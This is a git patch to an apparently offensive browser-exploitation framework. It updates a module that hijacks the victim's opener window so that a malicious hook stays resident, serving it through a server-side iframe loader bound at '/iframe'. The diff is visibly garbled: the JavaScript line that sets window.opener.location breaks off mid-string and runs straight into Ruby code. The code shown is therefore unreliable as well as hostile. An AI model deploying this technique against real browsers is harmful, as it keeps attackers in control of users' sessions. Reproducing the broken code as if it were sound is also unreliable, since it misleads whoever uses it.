From 2a952e99eea76c70bc31a0ed09ef1b536af369b0 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Tue, 4 Oct 2016 16:11:38 +0000 Subject: [PATCH] Update Hijack Opener Window module to use server-side iframe loader --- modules/persistence/hijack_opener/command.js | 3 +-- modules/persistence/hijack_opener/config.yaml | 4 ++-- modules/persistence/hijack_opener/module.rb | 20 +++++++++++++++++++ 3 files changed, 23 insertions(+), 4 deletions(-) diff --git a/modules/persistence/hijack_opener/command.js b/modules/persistence/hijack_opener/command.js index 2c7d8c49d..0b6c4c692 100644 --- a/modules/persistence/hijack_opener/command.js +++ b/modules/persistence/hijack_opener/command.js @@ -6,10 +6,9 @@ beef.execute(function() { var referrer = document.referrer; - var hook = beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+beef.net.hook; try { beef.debug("[Hijack Opener] Trying to hijack: " + referrer); - window.opener.location = 'data:text/html,'+referrer+'" + src << '' + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw( + '200', + {'Content-Type' => 'text/html'}, + src, + '/iframe', + -1) + end + def post_execute save({'result' => @datastore['result']}) end